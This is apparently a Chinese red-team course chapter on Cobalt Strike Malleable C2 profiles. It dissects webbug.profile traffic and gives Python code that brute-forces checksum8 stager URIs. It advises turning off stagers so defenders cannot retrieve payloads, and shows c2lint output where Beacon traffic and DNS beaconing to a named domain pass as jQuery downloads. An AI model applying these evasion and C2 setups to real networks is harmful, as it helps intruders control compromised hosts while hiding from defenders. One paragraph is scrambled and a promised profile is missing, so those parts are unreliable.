C2 侧写
C2 侧写
Cobalt Strike 支持自定义侧写。自定义侧写不仅可以让我们自定义 Beacon 与 Team Server 之间的通信方式,从网络层面实现混淆效果,还可以指定证书、Beacon 特征,内存特征、后利用选项等。Malleable C2 仓库(https://github.com/rsmudge/Malleable-C2-Profiles)整合了一系列的 C2 侧写 ,但是考虑到这个仓库是公开的,侧写中的通信模式被标记也是显然的事情。因此,如果用于实战中,我们需要对这些侧写进行二次修改甚至完全重写。
接下来,我们选择一个较为简单的 C2 侧写文件 webbug.profile 作为案例,简要分析 HTTP 协议下的流量特征。HTTPS 监听器相比 HTTP 监听器,增加了 TLS 层对通信的加密,但其他是相似的。值得一提的是,如果在实战过程中更换 C2 侧写,可能会丢失目前的所有 Beacon,这是理所当然的,因为通信模式都改变了。
如下所示的是侧写中的完整内容,该侧写定义了 URI、请求参数、请求头、数据主体等参数,让我们来按模块分析一下这个侧写。
http-get {
set uri "/__utm.gif";
client {
parameter "utmac" "UA-2202604-2";
parameter "utmcn" "1";
parameter "utmcs" "ISO-8859-1";
parameter "utmsr" "1280x1024";
parameter "utmsc" "32-bit";
parameter "utmul" "en-US";
metadata {
netbios;
prepend "__utma";
parameter "utmcc";
}
}
server {
header "Content-Type" "image/gif";
output {
# hexdump pixel.gif
# 0000000 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00
# 0000010 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00
# 0000020 01 00 01 00 00 02 01 44 00 3b
prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
print;
}
}
}
http-post {
set uri "/___utm.gif";
client {
header "Content-Type" "application/octet-stream";
id {
prepend "UA-220";
append "-2";
parameter "utmac";
}
parameter "utmcn" "1";
parameter "utmcs" "ISO-8859-1";
parameter "utmsr" "1280x1024";
parameter "utmsc" "32-bit";
parameter "utmul" "en-US";
output {
print;
}
}
server {
header "Content-Type" "image/gif";
output {
prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
print;
}
}
}
# dress up the staging process too
http-stager {
server {
header "Content-Type" "image/gif";
}
}
如下所示的是 http-get 块,定义了 GET 请求的通信模式。set uri 指定了服务器与客户端要使用的 URI,这里是 __utm.gif。如果请求的 URI 与侧写中这里指定的不同,那么会返回 404 响应。
http-get {
set uri "/__utm.gif";
client {
parameter "utmac" "UA-2202604-2";
parameter "utmcn" "1";
parameter "utmcs" "ISO-8859-1";
parameter "utmsr" "1280x1024";
parameter "utmsc" "32-bit";
parameter "utmul" "en-US";
metadata {
netbios;
prepend "__utma";
parameter "utmcc";
}
}
server {
header "Content-Type" "image/gif";
output {
# hexdump pixel.gif
# 0000000 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00
# 0000010 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00
# 0000020 01 00 01 00 00 02 01 44 00 3b
prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
print;
}
}
}
client 块中指定了可以添加到 URI 后面的参数,以及固定的数值,通过 key-value 的形式存在。metadata 块则定义了有关 Beacon 所在受控主机的相关信息是如何传递的。这里,这些信息采用了 netbios 编码,为 utmcc 参数的值,并且值的最前端有字符串 "__utma"。
而 server 块定义了来自团队服务器的响应看起来是怎样的,这里,侧写指定了类型为 image/gif 的 Content-type 响应头。output 块定义了返回的数据是怎么被转换的,print 对应数据主体,这里,该侧写在数据主体之前附加了固定的数据。
分析完 http-get 块之后,http-post 块也是类似的语法与含义。让我们看看 Wireshark 视角下的数据包:
我们能看到,通信数据包主要以 GET 请求为主,因为无论是主机首次上线团队服务器,还是受害主机后续通过 Beacon 来向服务器确认存活,都是通过 GET 请求的。
查看其中一个 GET 请求详情,我们能看到侧写文件中定义的 URI,参数与其固定值,metadata 所对应的参数与值等信息。
如果团队服务器有分发任务(这里是执行 getuid 命令),那么任务信息会包含在对 GET 请求的响应中。
如果没有分发的任务,除了添加的固定数据外,则是空的。
当命令在 Beacon 端执行后,客户端通过 POST 请求传输加密后的输出数据。
我们再来说说 Http Stager 监听器。Stageless 的载荷,即是完整的 CobaltStrike Agent,一般在 200-300 KB。一方面,因为尺寸相对较大,且文件的特征更为显著,因此有时操作员会同时启用 Stager 监听器,以及分发 Stager 载荷。Stager 载荷尺寸要小得多,负责从团队服务器的 Stager 监听器上拉取完整的载荷于内存中。但 Stager 监听器也有着 OPSEC 上的风险,尤其是 CobaltStrike 对它的实现。
CobaltStrike 使用了 checksum8 的 URL 算法来分发载荷,算法代码如下所示:
public static long checksum8(String text) {
if (text.length() < 4) {
return 0L;
}
text = text.replace("/", "");
long sum = 0L;
for (int x = 0; x < text.length(); x++) {
sum += text.charAt(x);
}
return sum % 256L;
}
public static boolean isStager(String uri) {
return (checksum8(uri) == 92L);
}
public static boolean isStagerX64(String uri) {
return (checksum8(uri) == 93L && uri.matches("/[A-Za-z0-9]{4}"));
}
我们可以通过如下的 Python 代码暴力破解出所有可用的 URI:
from itertools import product
import string
def checksum8(strr):
j = 0
if len(strr) < 4:
return 0
strr = strr.replace("/", "")
for c in strr:
j += ord(c)
return j % 256
chars = string.ascii_letters + string.digits
to_attempt = product(chars, repeat=4)
for attempt in to_attempt:
word = ''.join(attempt)
r = checksum8(word)
if r == 92:
print("{:30} - 32b checksum".format(word))
elif r == 93:
print("{:30} - 64b checksum".format(word))
例如通过 GET 请求访问 /aab9,可以得到 64 位的载荷。
因为防御者很容易拉取载荷进行取证,我们最好直接关闭 Stager 监听器,通过在 http-stager 块上方加入这么一行:
set host_stage "false";
当然,在 C2 侧写文件中我们能指定的远不止这些,并且随着 CobaltStrike 的版本迭代,越来越多新的选项,尤其是关于后利用与内存特征规避,可以被团队服务器识别与生效。
更加完整的
关于侧写基础选项的语法可以参考官方文档(https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_profile-language.htm )
因为我们还在课程的初期阶段,更多后利用与内存特征规避的选项还未接触到,但为了避免在中后期因为需要频繁修改侧写文件而丢失所有连接, Beacon,我们这里可以选择具有配置了更多默认配置选项且相对注重 OPSEC 的 JQuery-C2 侧写,大家可以在 https://github.com/threatexpress/malleable-c2 下载对应 Cobalt Strike版Strike 版本的侧写文件。尽管该侧写文件中有很多属性我本身相对成熟,但毕竟是开源的,因此建议学生们可以尝试着自定义, 以实现通信层面和后利用阶段己修改一些选项,正好也作为巩固的隐匿。后利用阶段的相关属性我们会在后续章节介绍,在本章,我们注重于安全 C2 基础设施搭建层面的属性练习。
以下是一份可以使用的侧写文件的内容,大家可以在此基础上进一步自定义。
以上是一份可以使用的 C2 侧写,为了减少文本行数,我删去了大量注释。如果有想根据注释的语义,对一些属性进行自我修改,可以查看 Github 仓库中的原始文件。修改完之后,我们可以使用 Cobalt Strike 自带的 c2lint 工具来检查侧写文件的中是否有语法以及建议修改的 OPSEC 选项错误,命令为 ./c2lint xx.profile
===============
default
===============
http-get
--------
GET /jquery-3.3.1.min.js HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://code.jquery.com/
Accept-Encoding: gzip, deflate
Cookie: __cfduid=ulR1jVV_g4XsBtP6gUcnDQ
User-Agent: Innocent
HTTP/1.1 200 OK
Date: Tue, 7 Feb 2023 21:45:38 GMT
Server: NetDNA-cache/2.2
Content-Length: 5628
Keep-Alive: timeout=10, max=100
Connection: keep-alive
Content-Type: application/javascript; charset=utf-8
Cache-Control: max-age=0, no-cache
Pragma: no-cache
/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+("3.3.1"+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==c.call(e))&&(!(t=i(e))||"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function C(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P=".P5Hp7_wYePUoNo5wI5rfmmv3rPa1wV8EeZ5ypztvP6TB1wUJxChMFvjV0r4t23umgr2F3g1Oj6ElLcOMF1tqKTnKPLg".(o=t.documentElement,Math.max(t.body["scroll"+e],o["scroll"+e],t.body["offset"+e],o["offset"+e],o["client"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),w.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},"function"==typeof define&&define.amd&&define("jquery",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});
http-post
---------
POST /jquery-3.3.2.min.js?__cfduid=YyphB1oTWTdV HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://code.jquery.com/
Accept-Encoding: gzip, deflate
Content-Length: 27
User-Agent: Innocent
OAitOkVF3h35fDcv099UWCP6S3E
HTTP/1.1 200 OK
Date: Tue, 7 Feb 2023 21:45:38 GMT
Server: NetDNA-cache/2.2
Content-Length: 5543
Keep-Alive: timeout=10, max=100
Connection: keep-alive
Content-Type: application/javascript; charset=utf-8
Cache-Control: max-age=0, no-cache
Pragma: no-cache
/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+("3.3.1"+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==c.call(e))&&(!(t=i(e))||"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function C(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P=".Sl_1SQ".(o=t.documentElement,Math.max(t.body["scroll"+e],o["scroll"+e],t.body["offset"+e],o["offset"+e],o["client"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),w.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},"function"==typeof define&&define.amd&&define("jquery",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});
http-stager
-----------
GET /jquery-3.3.1.slim.min.js HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://code.jquery.com/
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Geccko
HTTP/1.1 200 OK
Date: Tue, 7 Feb 2023 21:45:38 GMT
Server: NetDNA-cache/2.2
Content-Length: 5601
Keep-Alive: timeout=10, max=100
Connection: keep-alive
Content-Type: application/javascript; charset=utf-8
Cache-Control: max-age=0, no-cache
Pragma: no-cache
/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+("3.3.1"+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==c.call(e))&&(!(t=i(e))||"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function C(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P="..WT.U.....R.8.~....}0.{...J7...4....2.L..%.Fj...G)......6.?.....".(o=t.documentElement,Math.max(t.body["scroll"+e],o["scroll"+e],t.body["offset"+e],o["offset"+e],o["client"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),w.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},"function"==typeof define&&define.amd&&define("jquery",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});
dns staging host
----------------
aaa.feeds.123456.<domain> = .resources.123456.[...]
bdc.feeds.123456.<domain>
.dns-beacon.beacon = 'a.bc.'
--------------------------------------------------------
[.dns-beacon.beacon]aaaaaaaa.freepics.losenolove.com.
a.bc.aaaaaaaa.freepics.losenolove.com.
.dns-beacon.get_A = 'b.1a.'
--------------------------------------------------------
[.dns-beacon.get_A]bbbbbbbbb.aaaaaaaa.freepics.losenolove.com.
b.1a.bbbbbbbbb.aaaaaaaa.freepics.losenolove.com.
.dns-beacon.get_AAAA = 'c.4a.'
--------------------------------------------------------
[.dns-beacon.get_AAAA]bbbbbbbbb.aaaaaaaa.freepics.losenolove.com.
c.4a.bbbbbbbbb.aaaaaaaa.freepics.losenolove.com.
.dns-beacon.get_TXT = 'd.tx.'
--------------------------------------------------------
[.dns-beacon.get_TXT]bbbbbbbbb.aaaaaaaa.freepics.losenolove.com.
d.tx.bbbbbbbbb.aaaaaaaa.freepics.losenolove.com.
.dns-beacon.put_metadata = 'e.md.'
--------------------------------------------------------
[.dns-beacon.put_metadata](data).(data).(data).(data).bbbbbbbbb.aaaaaaaa.freepics.losenolove.com.
e.md.(data).(data).(data).(data).bbbbbbbbb.aaaaaaaa.freepics.losenolove.com.
.dns-beacon.put_output = 'f.po.'
--------------------------------------------------------
[.dns-beacon.put_output](data).(data).(data).(data).bbbbbbbbb.aaaaaaaa.freepics.losenolove.com.
f.po.(data).(data).(data).(data).bbbbbbbbb.aaaaaaaa.freepics.losenolove.com.
[+] POST 3x check passed
[+] .http-get.server.output size is good
[+] .http-get.client size is good
[+] .http-post.client size is good
[+] .http-get.client.metadata transform+mangle+recover passed (1 byte[s])
[+] .http-get.client.metadata transform+mangle+recover passed (100 byte[s])
[+] .http-get.client.metadata transform+mangle+recover passed (128 byte[s])
[+] .http-get.client.metadata transform+mangle+recover passed (256 byte[s])
[+] .http-get.server.output transform+mangle+recover passed (0 byte[s])
[+] .http-get.server.output transform+mangle+recover passed (1 byte[s])
[+] .http-get.server.output transform+mangle+recover passed (48248 byte[s])
[+] .http-get.server.output transform+mangle+recover passed (1048576 byte[s])
[+] .http-post.client.id transform+mangle+recover passed (4 byte[s])
[+] .http-post.client.output transform+mangle+recover passed (0 byte[s])
